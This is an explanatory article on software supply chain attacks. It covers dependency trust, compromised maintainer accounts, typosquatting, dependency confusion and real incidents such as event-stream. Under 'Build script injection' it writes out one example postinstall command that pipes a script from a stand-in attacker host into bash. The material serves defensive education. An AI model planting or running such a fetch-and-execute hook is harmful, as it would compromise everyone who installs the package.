Supply Chain Attack

Why it's hard to defend against

When you write npm install express, you're trusting Express and every package Express depends on. A modern Node.js application might have 500-1000 transitive dependencies — packages you've never heard of, maintained by people you've never met. An attacker only needs to compromise one of them.

The attack is particularly effective because the malicious code arrives through your normal build process. It looks identical to a legitimate dependency update. By the time anyone notices, the code has been running in production for days or weeks.

Common attack patterns

Compromised maintainer account

An attacker gains access to a package maintainer's npm or PyPI account and publishes a malicious version. The package's download count and reputation stay intact — only the code changes. The event-stream incident (2018) and dozens of others since have used this pattern.

Typosquatting

Register a package with a name one typo away from a popular package. expres instead of express. Wait for developers to mistype and install the malicious version.

Dependency confusion

If your company uses private packages with certain names, an attacker can register those same names on the public registry. Some package managers will fetch the public version instead of the private one.

Build script injection

Add curl https://attacker.com/payload.sh | bash to a package's postinstall script. Runs automatically when anyone installs the package.

Real examples that hit production

• event-stream (2018) — malicious code targeting a Bitcoin wallet, reached millions of installs
• ua-parser-js (2021) — compromised to install cryptomining malware
• colors and faker (2022) — maintainer deliberately broke packages affecting thousands of projects
• Contagious Interview (2024-2026) — North Korean operation using fake npm packages to target developers